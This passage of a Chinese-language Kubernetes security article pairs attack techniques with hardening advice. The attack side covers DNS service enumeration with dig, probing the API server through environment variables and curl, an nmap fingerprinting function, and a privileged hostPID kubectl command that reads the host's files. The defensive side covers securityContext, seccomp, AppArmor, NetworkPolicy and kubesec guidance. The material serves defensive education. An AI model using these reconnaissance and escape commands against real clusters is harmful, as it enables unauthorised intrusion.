然而,這些限制主要是為了資源管理,不應被視為主要安全控制。攻擊者仍然可以在資源限制內執行許多型別的攻擊。
DNS安全考量
預設情況下,Kubernetes DNS伺服器提供整個叢集中所有服務的記錄,除非按名稱空間或域單獨佈署,否則會阻止名稱空間隔離。
DNS訊息洩露與緩解
預設的Kubernetes CoreDNS安裝會洩露有關其服務的訊息,為攻擊者提供所有可能網路端點的檢視。當然,由於網路策略的存在,它們可能並非全部可存取。
CoreDNS支援策略外掛,包括OPA(Open Policy Agent),以限制對DNS記錄的存取並防止列舉攻擊。這是一個重要的安全增強功能,特別是在多租戶環境中。
實用安全設定最佳實踐
根據以上分析,我總結了一些Kubernetes環境設定的最佳實踐:
敏感資訊處理:
- 使用Kubernetes Secrets儲存敏感資訊,而非環境變數
- 將Secrets以檔案形式掛載,而非環境變數注入
- 考慮使用外部機密管理系統,如HashiCorp Vault或雲端供應商的機密管理服務
容器映像安全:
- 始終使用SHA256摘要參照映像,而非可變標籤
- 實作映像簽名和驗證(使用Notary、cosign等工具)
- 定期掃描容器映像中的漏洞
探針安全設定:
- 避免在探針中使用host欄位指向外部服務
- 限制探針的許可權和功能
- 考慮使用命令探針而非HTTP探針,以減少網路暴露
資源管理:
- 為所有容器設定適當的資源限制和請求
- 使用Pod優先順序和QoS類別管理資源競爭
- 考慮實施網路頻寬限制(如果CNI支援)
DNS安全:
- 考慮按名稱空間佈署DNS服務
- 實作DNS策略限制跨名稱空間的服務發現
- 使用網路策略限制不必要的跨名稱空間通訊
在容器安全中,深度防禦策略至關重要。單一安全控制的失效不應導致整個系統被攻破。透過實施這些最佳實踐,可以顯著提高Kubernetes環境的安全性,減少攻擊面並限制潛在攻擊的影響。
在我的Kubernetes安全稽核工作中,環境變數和容器映像管理是最常見的問題區域。特別是在快速開發環境中,開發者往往為了便利性而犧牲安全性。然而,透過適當的自動化和CI/CD管道整合,可以在不犧牲開發速度的情況下實作這些最佳實踐。
隨著容器技術的不斷演進,安全實踐也必須相應調整。保持警惕,跟蹤新的漏洞和威脅模型,並定期審查和更新安全控制,是維護安全容器環境的關鍵。
Kubernetes 環境中的 DNS 列舉攻擊
在 Kubernetes 環境中,DNS 服務不僅是服務發現的關鍵元件,也可能成為攻擊者收集叢集訊息的入口點。當 CoreDNS 設定不當時,攻擊者可以利用 DNS 列舉技術取得整個叢集的服務訊息。
DNS 列舉技術實戰
在預設與未受限制的 CoreDNS 安裝環境中,攻擊者可以執行以下命令來列舉叢集中的所有服務:
# 列舉叢集名稱空間中的所有服務
dig +noall +answer srv any.any.svc.cluster.local | sort --human-numeric-sort --key 7
上面的命令使用 dig
工具向 Kubernetes 的 DNS 伺服器傳送 SRV 記錄查詢,請求 any.any.svc.cluster.local
網域名稱的訊息。這個特殊的萬用字元查詢會回傳叢集中所有名稱空間的所有服務。輸出結果按第七列(服務名稱)排序,讓攻擊者可以清晰地看到所有可用服務。
攻擊者還可以進一步取得所有伺服器端點和名稱:
# 列舉所有伺服器端點和名稱
dig +noall +answer srv any.any.any.svc.cluster.local | sort --human-numeric-sort --key 7
這個命令比前一個更進一步,使用三層萬用字元 any.any.any.svc.cluster.local
,能夠回傳所有伺服器端點的詳細 IP 地址和連線埠訊息。這為攻擊者提供了完整的服務網路拓撲圖,大簡化了後續的目標選擇和攻擊規劃。
甚至可以根據查詢直接回傳特定 Pod 的 IPv4 地址:
# 根據查詢回傳 IPv4 地址
dig +noall +answer 1-3-3-7.default.pod.cluster.local
此命令演示瞭如何查詢特定 Pod 的 IP 地址。在這個例子中,查詢 1-3-3-7.default.pod.cluster.local
會回傳 IP 地址 1.3.3.7。這種能力讓攻擊者可以精確定位特定的 Pod,而不需要進行網路掃描,大降低了被檢測的風險。
Kubernetes API 伺服器訊息洩露
預設情況下,Kubernetes 會將 API 伺服器的 IP 訊息掛載到 Pod 的環境變數中,這可能導致敏感訊息洩露:
# 檢查環境變數中的 Kubernetes 訊息
env | grep KUBE
輸出結果會包含 API 伺服器的地址和連線埠:
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.7.240.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.7.240.1
KUBERNETES_SERVICE_HOST=10.7.240.1
KUBERNETES_PORT=tcp://10.7.240.1:443
KUBERNETES_PORT_443_TCP_PORT=443
攻擊者可以利用這些訊息直接存取 API 伺服器:
# 使用環境變數存取 API 伺服器
curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version
上述命令使用環境變數中的 API 伺服器地址和連線埠,嘗試存取 /version
端點。如果成功,將回傳 API 伺服器的版本訊息,攻擊者可以利用這些訊息查詢特定版本的已知漏洞。
利用 Nmap 檢測 Kubernetes API 伺服器
以下是一個實用的 Nmap 函式,可用於檢測 Kubernetes API 伺服器:
nmap-kube-apiserver() {
local REGEX="major.*gitVersion.*buildDate"
local ARGS="${@:-$(kubectl config view --minify | awk '/server:/{print $2}' | sed -E -e 's,^https?://,,' -e 's,:, -p ,g')}"
nmap \
--open \
--script=http-get \
--script-args "\
http-get.path=/version, \
http-get.match=\"${REGEX}\", \
http-get.showResponse, \
http-get.forceTls \
" \
${ARGS}
}
這個函式封裝了一個 Nmap 掃描,專門用於檢測 Kubernetes API 伺服器。它透過存取 API 伺服器的 /version
端點並檢查回應中是否包含特定的版本訊息來識別 Kubernetes 叢集。如果沒有提供引數,它會自動從 kubectl 設定中提取 API 伺服器地址。這個工具對於安全稽核非常有用,但同樣也可被攻擊者用於識別潛在目標。
Pod 安全上下文與容器逃逸技術
空安全上下文的風險
當 Pod 執行時使用空的安全上下文(securityContext: {}
),並且沒有準入控制器在佈署時修改設定,容器就可以 root 許可權執行程式,並擁有所有可用的 Linux 能力(capabilities)。這種設定極其危險,為容器逃逸提供了絕佳條件。
危險的 Linux 能力
瞭解 Linux 內核的能力標誌對於利用容器環境至關重要。特別是 CAP_SYS_ADMIN
和 CAP_BPF
對攻擊者極具吸引力。以下是一些應謹慎授予的關鍵能力:
檔案系統許可權繞過
CAP_DAC_OVERRIDE
、CAP_CHOWN
、CAP_DAC_READ_SEARCH
、CAP_FORMER
、CAP_SETFCAP
許可權提升
CAP_SETUID
、CAP_SETGID
:允許成為 root 使用者
網路攻擊
CAP_NET_RAW
:允許讀取網路流量
系統級許可權
CAP_SYS_ADMIN
:提供檔案系統掛載許可權CAP_SYS_PTRACE
:允許對其他程式進行全能除錯CAP_SYS_MODULE
:允許載入核心模組以繞過控制
深層系統存取
CAP_PERFMON
、CAP_BPF
:允許存取深層鉤子 BPF 系統
這些能力是許多容器逃逸攻擊的前提條件。正如安全工作者 Brad Geesaman 所說:「程式想要自由!」攻擊者會利用 Pod 中的任何可用資源來實作逃逸。
常見容器逃逸技術
以下是一些需要 root 許可權和/或特定能力才能實作的容器逃逸技術:
子路徑卷掛載遍歷和
/proc/self/exe
:允許攻擊者存取主機檔案系統DirtyCow (CVE-2016-5195):只讀記憶體寫時複製競爭條件漏洞
未授權記憶體損壞漏洞 (CVE-2020-14386):需要
CAP_NET_RAW
能力runc 掛載目標符號連結交換 (CVE-2021-30465):允許在 rootfs 外掛載,受非特權使用者使用限制
Netfilter 堆積積越界寫入 (CVE-2021-22555):需要
CAP_NET_RAW
能力eBPF 越界存取 (CVE-2021-31440):需要 root 或
CAP_BPF
和CAPS_SYS_MODULE
能力核心漏洞和 core_pattern 逃逸:@andreyknvl 發現的技術
即使沒有逃逸,root 能力仍然是其他攻擊的必要條件,例如 CVE-2020-10749(Kubernetes CNI 外掛中間人攻擊,透過 IPv6 惡意路由器廣告實作)。
關於 CAP_NET_RAW 的特別說明
CAP_NET_RAW
在 runc 中預設啟用,它允許:
- UDP 流量(繞過像 Istio 這樣的 TCP 服務網格)
- ICMP 訊息
- ARP 中毒攻擊
Aqua 安全公司曾發現針對 Kubernetes DNS 的 DNS 中毒攻擊,而 net.ipv4.ping_group_range
sysctl 標誌意味著在需要 ICMP 時應該停用此能力。
Pod 服務賬戶安全
服務賬戶是 JSON Web 令牌(JWT),Pod 使用它們向 API 伺服器進行身份驗證和授權。預設服務賬戶不應被授予任何許可權,預設情況下也沒有任何授權。
serviceAccount: default
serviceAccountName: default
這種職責分離減少了 Pod 被入侵時的影響範圍:限制攻擊者入侵後的活動是策略控制的主要目標。
服務賬戶令牌保護
在現代 Kubernetes 中,服務賬戶令牌通常以投影(projected)卷的形式掛載:
volumes:
- name: kube-api-access-p282h
projected:
defaultMode: 420
sources:
- serviceAccountToken:
expirationSeconds: 3600
path: token
- configMap:
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI:
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
kubelet 透過定期輪換令牌(設定為每 3600 秒,即一小時)來防止令牌被竊取。然而,這只能在攻擊結束後保護服務賬戶,因為具有永續性的攻擊者仍然能夠使用該值,並在輪換後觀察其新值。
Pod 網路狀態安全風險
Pod 的網路訊息對於除錯沒有服務的容器或回應不正常的容器很有用,但攻擊者可能會使用這些訊息直接連線到 Pod,而無需掃描網路:
status:
hostIP: 10.0.1.3
phase: Running
podIP: 192.168.155.130
podIPs:
- ip: 192.168.155.130
正確使用 securityContext 保護容器
如果未設定 securityContext
或設定過於寬鬆,Pod 被入侵的可能性會大增加。securityContext
是防止容器被入侵的最有效工具。
安全上下文最佳實踐
以下是一些 securityContext
的最佳實踐設定範例:
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE # 只增加必要的能力
readOnlyRootFilesystem: true
seccompProfile:
type: RuntimeDefault
這個安全上下文設定實施了多層防護:
runAsNonRoot: true
- 確保容器不能以 root 使用者執行runAsUser/runAsGroup/fsGroup
- 指定非 root 使用者和組 IDallowPrivilegeEscalation: false
- 防止程式取得比父程式更多的許可權capabilities.drop: ["ALL"]
- 移除所有 Linux 能力,然後只增加必要的能力readOnlyRootFilesystem: true
- 使根檔案系統只讀,防止攻擊者修改系統檔案seccompProfile.type: RuntimeDefault
- 應用預設的 seccomp 設定檔案,限制系統呼叫
防止容器逃逸的關鍵策略
最小許可權原則:只授予容器執行所需的最小許可權集合
移除危險能力:特別是
CAP_SYS_ADMIN
、CAP_NET_RAW
和CAP_SYS_PTRACE
啟用只讀檔案系統:防止攻擊者修改容器內的檔案
使用非 root 使用者:避免以 root 身份執行容器程式
啟用 seccomp 設定檔案:限制容器可以執行的系統呼叫
停用特權升級:設定
allowPrivilegeEscalation: false
實施 Pod 安全標準:使用 Kubernetes Pod 安全標準(PSS)或 Pod 安全策略(PSP)
網路政策隔離:實施網路政策以限制 Pod 之間的通訊
排程器和容忍度安全考量
排程器負責將 Pod 工作負載分配到節點。以下是典型設定:
schedulerName: default-scheduler
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
惡意排程器理論上可以竊取叢集中的資料或工作負載,但這需要先入侵叢集才能將其增加到控制平面。更簡單的攻擊路徑是排程一個特權容器並取得控制平面 kubelet 的 root 許可權。
深入 DNS 安全防護策略
要防止前文提到的 DNS 列舉攻擊,可以採取以下措施:
限制 CoreDNS 設定
修改 CoreDNS 的 Corefile 設定,限制萬用字元查詢和某些域的解析:
.:53 {
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
forward . /etc/resolv.conf
cache 30
loop
reload
loadbalance
}
可以修改為:
.:53 {
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods verified # 改為 verified 而非 insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
forward . /etc/resolv.conf
cache 30
loop
reload
loadbalance
}
將 pods insecure
改為 pods verified
可以限制 Pod DNS 記錄的查詢,要求 Pod 的 IP 地址必須與請求的 IP 地址比對,防止萬用字元查詢洩露所有 Pod 訊息。
實施網路政策限制 DNS 存取
使用 Kubernetes 網路政策限制對 DNS 服務的存取:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: restrict-dns-access
namespace: kube-system
spec:
podSelector:
matchLabels:
k8s-app: kube-dns
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
access: allowed
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
這個網路政策僅允許帶有 access: allowed
標籤的名稱空間中的 Pod 存取 DNS 服務。這可以限制未授權名稱空間的 Pod 進行 DNS 列舉。
隱藏 Kubernetes API 伺服器訊息
防止 Kubernetes API 伺服器訊息洩露的最佳方法是修改 Pod 規範,停用自動注入環境變數:
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
enableServiceLinks: false # 停用服務連結注入
containers:
- name: app
image: myapp:1.0
設定 enableServiceLinks: false
可以防止 Kubernetes 自動將服務訊息(包括 API 伺服器地址)注入到 Pod 的環境變數中,從而減少訊息洩露的風險。
容器能力管理進階技巧
精細控制容器能力
除了完全移除所有能力外,有時需要更精細的控制:
securityContext:
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE # 允許繫結低於 1024 的連線埠
- CHOWN # 允許更改檔案所有權
這種方法先移除所有能力,然後只增加應用程式真正需要的特定能力。例如,Web 伺服器可能需要 NET_BIND_SERVICE
來繫結 80 連線埠,但不需要其他危險的能力。
使用 seccomp 限制系統呼叫
Seccomp (Secure Computing Mode) 設定檔案可以進一步限制容器可以執行的系統呼叫:
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/custom-seccomp.json
自定義 seccomp 設定檔案範例:
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [
{
"names": [
"accept", "access", "arch_prctl", "brk", "capget",
"capset", "chdir", "chmod", "chown", "close",
"connect", "dup", "dup2", "epoll_create", "epoll_ctl",
"epoll_wait", "execve", "exit_group", "faccessat",
"fchdir", "fchmod", "fchown", "fcntl", "fstat",
"fstatfs", "futex", "getcwd", "getdents", "getegid",
"geteuid", "getgid", "getpid", "getppid", "getrlimit",
"getuid", "ioctl", "listen", "lseek", "mkdir",
"mmap", "mprotect", "munmap", "nanosleep", "open",
"pipe", "poll", "prctl", "read", "readlink",
"rt_sigaction", "rt_sigprocmask", "rt_sigreturn", "select", "set_robust_list",
"set_tid_address", "setgid", "setgroups", "setuid", "stat",
"statfs", "sysinfo", "umask", "uname", "unlink",
"wait4", "write"
],
"action": "SCMP_ACT_ALLOW"
}
]
}
這個 seccomp 設定檔案採用白名單方法,預設拒絕所有系統呼叫(defaultAction: SCMP_ACT_ERRNO
),然後只允許列出的系統呼叫。這大減少了攻擊面,因為許多容器逃逸技術依賴於特定的系統呼叫。
AppArmor 設定檔案強化容器安全
在支援 AppArmor 的系統上,可以應用自定義 AppArmor 設定檔案:
metadata:
annotations:
container.apparmor.security.beta.kubernetes.io/app: localhost/custom-profile
自定義 AppArmor 設定檔案範例:
#include <tunables/global>
profile custom-profile flags=(attach_disconnected) {
#include <abstractions/base>
file,
network,
# 允許讀取 /etc
/etc/** r,
# 允許存取應用程式目錄
/app/** rwix,
# 拒絕存取敏感目錄
deny /proc/** wl,
deny /sys/** wl,
deny /root/** rwl,
deny /var/run/docker.sock rwl,
}
這個 AppArmor 設定檔案限制了容器可以存取的檔案和目錄,允許讀取設定檔案,但拒絕寫入敏感系統目錄和存取 Docker 通訊端。這為容器提供了額外的安全層,即使攻擊者獲得了某些能力也無法輕易逃逸。
綜合防護策略
保護 Kubernetes 環境免受 DNS 列舉和容器逃逸攻擊需要多層防護方法:
實施最小許可權原則:限制容器的能力和許可權
設定適當的網路政策:限制 Pod 之間的通訊和外部存取
加固 DNS 設定:限制 DNS 查詢和服務發現功能
使用安全上下文:為每個 Pod 設定適當的安全上下文
限制服務賬戶許可權:遵循最小許可權原則分配服務賬戶許可權
啟用稽核日誌:監控和記錄可疑活動
定期更新和修補:保持所有元件的最新安全補丁
使用容器執行時沙箱:考慮使用如 gVisor 或 Kata Containers 等提供額外隔離層的容器執行時
實施准入控制器:使用如 OPA Gatekeeper 或 Kyverno 等工具強制執行安全策略
進行定期安全稽核:評估環境中的安全漏洞和設定錯誤
Kubernetes 的安全是一個持續的過程,需要不斷評估和改進。透過瞭解潛在的攻擊向量並實施適當的防禦措施,可以顯著提高環境的安全性。最重要的是,安全上下文(securityContext)是防止容器被入侵的最有效工具,應該在每個 Pod 規範中正確設定。
在容器化環境中,安全不僅是保護邊界,還需要假設邊界可能已被突破,並設計多層防禦機制來限制攻擊者的活動範圍和能力。透過正確實施本文中討論的安全措施,可以大提高 Kubernetes 環境的安全態勢,防止 DNS 列舉和容器逃逸等常見攻擊。
容器安全:從入侵後防禦到主動防護
在容器安全領域,我們常關注如何防止攻擊者進入系統,但同樣重要的是:當攻擊者成功取得容器執行許可權後,如何限制其進一步的活動。當攻擊者成功對 Pod 執行遠端式碼執行(RCE)攻擊後,securityContext 成為限制攻擊範圍的第一道防線。
在處理過多起容器安全事件後,玄貓發現許多組織雖然投入大量資源於邊界防護,卻忽略了容器內部的安全強化設定。本文將探討如何透過 Kubernetes 的 securityContext、Linux 安全模組和工具來強化容器防禦,有效降低攻擊面。
securityContext:容器安全的基礎設施
securityContext 提供了一系列核心級別的安全開關,可以針對容器進行精細化的安全控制。除此之外,還可以設定 Linux 安全模組(如 seccomp、SELinux 和 AppArmor)來實作更嚴格的安全策略,防止惡意應用程式濫用系統許可權。
seccomp:系統呼叫的守門員
Docker 的 containerd 預設提供了一個 seccomp 設定檔案,透過阻止特定的系統呼叫,已成功預防了多起針對容器執行時的零日攻擊。從 Kubernetes v1.22 開始,建議使用 --seccomp-default
kubelet 標誌為所有執行時啟用此功能。
然而,某些工作負載可能無法在預設 seccomp 設定下執行,特別是那些需要低層級核心存取的可觀察性或安全工具。對於這些工作負載,應該編寫自定義的 seccomp 設定檔案,而不是簡單地將它們設定為 Unconfined
(允許任何系統呼叫)。
以下是一個從主機檔案系統 /var/lib/kubelet/seccomp
載入精細 seccomp 設定的範例:
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/fine-grained.json
這段設定指示 Kubernetes 使用位於主機 /var/lib/kubelet/seccomp/profiles/fine-grained.json
的自定義 seccomp 設定檔案。與使用預設設定或完全不限制(Unconfined)相比,自定義設定案讓你可以精確控制允許哪些系統呼叫,從而實作最小許可權原則。通常這些設定案會列出允許的系統呼叫白名單,任何未明確允許的系統呼叫都會被阻止,有效減少攻擊面。
SELinux 與 AppArmor:使用者空間的保護者
seccomp 負責系統呼叫的限制,而 SELinux 和 AppArmor 則能在使用者空間中監控和強制執行策略,保護檔案、目錄和裝置。
SELinux:標籤化的安全防護
SELinux 設定能夠阻止大多數容器逃逸攻擊,它採用根據標籤的方式控制檔案系統和程式存取。SELinux 不允許容器寫入除自身檔案系統以外的任何地方,也不允許讀取其他目錄,在 OpenShift 和 Red Hat Linux 系統中預設啟用。
SELinux 的強大之處在於它的強制存取控制(MAC)模型,相比傳統的自主存取控制(DAC)提供了更嚴格的安全邊界。
AppArmor:Debian 系統的守護者
AppArmor 可以在 Debian 衍生的 Linux 系統中實作類別似的監控和預防功能。如果 AppArmor 已啟用,執行 cat /sys/module/apparmor/parameters/enabled
將回傳 Y
,並且可以在 Pod 定義中使用:
annotations:
container.apparmor.security.beta.kubernetes.io/hello: localhost/k8s-apparmor-example-deny-write
這個 annotation 將名為 “hello” 的容器與主機上名為 “k8s-apparmor-example-deny-write” 的 AppArmor 設定檔案關聯起來。這個設定檔案可能設定了阻止容器寫入特定路徑的規則,進一步限制了容器的行為。AppArmor 使用路徑為基礎的控制機制,相比 SELinux 的標籤系統,設定起來可能更加直觀,但功能略有不同。
privileged 標誌:計算史上最危險的標誌
Liz Rice 曾將 privileged 標誌稱為「計算歷史上最危險的標誌」,為什麼 privileged 容器如此危險?因為它們保留了程式名稱空間以維持容器化的假象,但實際上停用了所有安全特性。
「privileged」是一種特定的 securityContext 設定:除程式名稱空間外,所有名稱空間都被停用,虛擬檔案系統被取消遮罩,Linux 安全模組被停用,並授予所有權能(capabilities)。
以非 root 使用者身份執行,不具備特殊權能,並將 allowPrivilegeEscalation
設定為 false
,可以提供對抗許多許可權提升攻擊的強大保護:
spec:
containers:
- image: controlplane/hack
securityContext:
allowPrivilegeEscalation: false
這個設定禁止容器程式獲得比父程式更多的許可權,這是防止許可權提升的關鍵設定。在實際測試中,我發現這個設定能有效阻止許多常見的提權技術,如 setuid 二進位檔案的利用。當與 runAsNonRoot: true
和適當的 capabilities 限制結合使用時,這提供了一個相當堅固的安全基線。
securityContext 設定的細粒度特性意味著必須測試每個屬性以確保其未被設定:作為防禦者,可以透過設定準入控制和測試 YAML 來實作;作為攻擊者,可以在執行時使用動態測試(或 amicontained 工具)來檢測。
與主機分享名稱空間也會減少容器的隔離性,並增加潛在風險。任何掛載的檔案系統實際上都會增加到掛載名稱空間中。
確保 Pod 的 securityContext 設定正確,系統將更安全地抵抗已知攻擊。
使用 Kubesec 增強 securityContext
Kubesec 是一個簡單的工具,用於驗證 Kubernetes 資源的安全性。它會回傳資源的風險評分,並建議如何加強 securityContext 設定。
以下是一個簡單的範例:
$ cat <<EOF > kubesec-test.yaml
apiVersion: v1
kind: Pod
metadata:
name: kubesec-demo
spec:
containers:
- name: kubesec-demo
image: gcr.io/google-samples/node-hello:1.0
securityContext:
readOnlyRootFilesystem: true
EOF
$ docker run -i kubesec/kubesec:2.11.1 scan - < kubesec-test.yaml
輸出結果(經過編輯以適應頁面):
[{
"object": "Pod/kubesec-demo.default",
"valid": true,
"fileName": "STDIN",
"message": "Passed with a score of 1 points",
"score": 1,
"scoring": {
"passed": [{
"id": "ReadOnlyRootFilesystem",
"selector": "containers[].securityContext.readOnlyRootFilesystem == true",
"reason": "An immutable root filesystem can ... increase attack cost",
"points": 1
}],
"advise": [{
"id": "ApparmorAny",
"selector": ".metadata.annotations.container.apparmor.security.beta.kubernetes.io/nginx",
"reason": "Well defined AppArmor ... WARNING: NOT PRODUCTION READY",
"points": 3
},
...
這個輸出顯示我們的 Pod 定義透過了 Kubesec 的基本安全檢查,得分為 1 分,這是因為我們啟用了只讀根檔案系統(readOnlyRootFilesystem: true
)。工具還建議我們可以增加 AppArmor 設定來進一步提高安全性。Kubesec 使用 JSON 選擇器來檢查 YAML 設定中的安全設定,並根據最佳實踐提供評分和建議。
Kubesec.io 網站詳細說明瞭如何實際改進 securityContext 設定,下面我們將探討其中一些建議。
Shopify 的優秀工具 kubeaudit 也為叢集中的所有資源提供類別似功能。
強化的 securityContext
美國家安全域(NSA)發布了「Kubernetes 強化」,推薦了一套強化的 securityContext 標準。該建議掃描漏洞和錯誤設定、遵循最小許可權原則、使用良好的 RBAC 和 IAM、網路防火牆和加密,並「定期審查所有 Kubernetes 設定,使用漏洞掃描來確保風險得到適當考慮,並應用安全補丁。」
為容器分配最小許可權是 securityContext 的責任。下表詳細說明瞭 securityContext 的各個欄位及其建議設定:
securityContext 欄位詳解
欄位名稱 | 用途 | 建議 |
---|---|---|
privileged | 控制 Pod 是否可以執行特權容器 | 設定為 false |
hostPID, hostIPC | 控制容器是否可以分享主機程式名稱空間 | 設定為 false |
hostNetwork | 控制容器是否可以使用主機網路 | 設定為 false |
allowedHostPaths | 限制容器存取主機檔案系統的特定路徑 | 使用「虛擬」路徑名(如標記為只讀的 /foo)。省略此欄位會導致不對容器施加任何准入限制 |
readOnlyRootFilesystem | 要求使用只讀根檔案系統 | 盡可能設定為 true |
runAsUser, runAsGroup, supplementalGroups, fsGroup | 控制容器應用程式是否可以 root 許可權或 root 組成員身份執行 | 設定 runAsUser 為非零值 設定 runAsNonRoot: true 設定 runAsGroup 為非零值 設定 supplementalGroups 為非零值 設定 fsGroup 為非零值 |
allowPrivilegeEscalation | 限制提升至 root 許可權 | 設定為 false。此措施是有效執行 runAsUser: MustRunAsNonRoot 設定所必需的 |
SELinux | 設定容器的 SELinux 上下文 | 如果環境支援 SELinux,考慮增加 SELinux 標籤以進一步強化容器 |
AppArmor annotations | 設定容器使用的 AppArmor 設定檔案 | 盡可能透過使用 AppArmor 來強化容器化應用程式,限制漏洞利用 |
seccomp annotations | 設定用於沙箱容器的 seccomp 設定檔案 | 盡可能使用 seccomp 稽核設定檔案來識別執行應用程式所需的系統呼叫;然後啟用 seccomp 設定檔案以阻止所有其他系統呼叫 |
讓我們使用 kubesec 靜態分析工具及其用於檢查 Kubernetes 資源的選擇器,更詳細地探討這些設定。
containers[].securityContext.privileged
執行特權容器可能會讓你的安全團隊度過糟糕的一天。特權容器停用名稱空間(除程式外)和 Linux 安全模組,授予所有權能,透過 /dev 暴露主機的裝置,通常使事情在預設情況下變得不安全。這是攻擊者在新近入侵的 Pod 中首先尋找的東西。
.spec.hostPID
hostPID 允許透過 /proc 檔案系統從容器遍歷到主機,該檔案系統透過符號連結連線到其他程式的根檔案系統。要從主機的程式名稱空間讀取,還需要 privileged 許可權:
user@host $ OVERRIDES='{"spec": {"hostPID": true,''"containers": [{"name":"1",'
user@host $ OVERRIDES+='"image":"alpine","command":["/bin/ash"],''"stdin": true,'
user@host $ OVERRIDES+='"tty":true,"imagePullPolicy":"IfNotPresent",'
user@host $ OVERRIDES+='"securityContext": {"privileged":true}}]}}'
user@host $ kubectl run privileged-and-hostpid --restart=Never -it --rm \
--image noop --overrides "${OVERRIDES}"
/ # grep PRETTY_NAME /etc/*release*
PRETTY_NAME="Alpine Linux v3.14"
/ # ps faux | head
PID USER TIME COMMAND
1 root 0:07 /usr/lib/systemd/systemd noresume noswap cros_efi
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]
4 root 0:00 [rcu_par_gp]
6 root 0:00 [kworker/0:0H-kb]
9 root 0:00 [mm_percpu_wq]
10 root 0:00 [ksoftirqd/0]
11 root 1:33 [rcu_sched]
12 root 0:00 [migration/0]
/ # grep PRETTY_NAME /proc/1/root/etc/*release
/proc/1/root/etc/os-release:PRETTY_NAME="Container-Optimized OS from Google"
這個範例展示了當容器以 privileged: true
和 hostPID: true
執行時的危險性。在容器內部,我們可以:
- 首先確認容器本身是 Alpine Linux
- 檢視程式列表,發現我們能看到主機上的所有程式
- 最後,透過
/proc/1/root/etc/*release
檢查主機的作業系統,發現是「Container-Optimized OS from Google」
這展示了特權容器如何完全突破容器隔離邊界,能夠讀取主機檔案系統和檢視主機程式。在安全敏感的環境中,這種設定絕對應該避免。
實際應用安全強化策略
在處理容器安全時,我發現許多團隊往往只關注網路隔離和映像掃描,而忽略了執行時的安全設定。根據我的經驗,以下是實施強化 securityContext 的實用步驟:
建立基線設定:為組織中的所有容器定義最小安全基線,包括:
- 停用特權模式
- 以非 root 使用者執行
- 啟用只讀根檔案系統
- 禁止許可權提升
使用工具進行驗證:將 Kubesec 或 kubeaudit 整合到 CI/CD 流程中,自動檢測不符合安全基線的設定。
分層安全策略:根據工作負載的敏感性和風險級別,實施不同層級的安全控制:
- 基本層:適用於所有工作負載的最小安全設定
- 增強層:增加 seccomp 和 AppArmor/SELinux 設定
- 嚴格層:應用於處理敏感資料的工作負載,實施最嚴格的控制
持續監控與稽核:佈署執行時安全工具,監控容器行為並檢測異常活動。
實施這些策略可以顯著提高容器環境的安全性,減少成功攻擊的可能性,並限制潛在攻擊的影響範圍。
容器安全的未來發展
隨著容器技術的不斷發展,安全模型也在演進。我們看到一些令人興奮的趨勢:
核心隔離技術:如 gVisor 和 Kata Containers 等提供更強隔離性的執行時,透過增加一層隔離來減少主機核心暴露。
宣告式安全設定:Kubernetes Pod Security Standards 和 Pod Security Admission 使安全設定更加標準化和易於管理。
零信任模型:容器環境中的零信任安全模型,要求每個容器都必須驗證其身份和許可權,無論其位置如何。
供應鏈安全:從原始碼到執行時的整個容器生命週期的安全控制,確保容器映像的完整性和真實性。
容器安全是一個多層次的挑戰,需要從多個角度進行處理。透過正確設定 securityContext、實施適當的安全模組,並使用工具驗證設定,可以顯著提高容器環境的安全性。
安全不是一次性的工作,而是一個持續的過程。定期審查和更新安全設定,跟蹤新的威脅和漏洞,並適應不斷變化的技術環境,是維護強大容器安全姿態的關鍵。透過將安全考慮納入容器生命週期的每個階段,從開發到佈署再到執行,可以建立一個更加安全和彈性的容器基礎設施。
Kubernetes Pod 安全風險與容器隔離技術
在容器安全領域中,Pod 安全設定與容器執行時的隔離技術是構建堅固防禦的根本。我在多年研究容器安全的過程中發現,大多數容器逃逸漏洞都源於錯誤的安全設定或過度的許可權授予。本文將深入分析 Kubernetes Pod 中的各種安全風險,以及如何透過現代容器隔離技術來強化防禦。
特權容器中的許可權探索
當容器以特權模式執行時,它幾乎擁有與宿主機相同的能力。讓我們看在特權容器中可以進行哪些操作:
# 檢查容器的作業系統版本
cat /etc/os-release
# 檢視宿主機上的程式
ps aux
# 透過 proc 檔案系統檢視宿主機資訊
cat /proc/1/root/etc/*release*
上述命令展示了特權容器的危險性。在一般的容器中,/proc/1/root/
通常無法存取,因為它指向宿主機的根目錄。但在特權容器中,由於分享了宿主機的 PID 名稱空間,攻擊者可以讀取宿主機上的敏感檔案。這種能力使特權容器成為攻擊者的理想目標,因為一旦取得容器控制權,幾乎等同於取得了整個宿主機的控制權。
值得注意的是,若沒有特權模式,即使是容器內的 root 使用者也無法存取宿主機的名稱空間:
# 非特權容器中嘗試存取宿主機資訊
grep PRETTY_NAME /proc/1/root/etc/*release*
# 結果: Permission denied
Pod 安全設定的關鍵引數
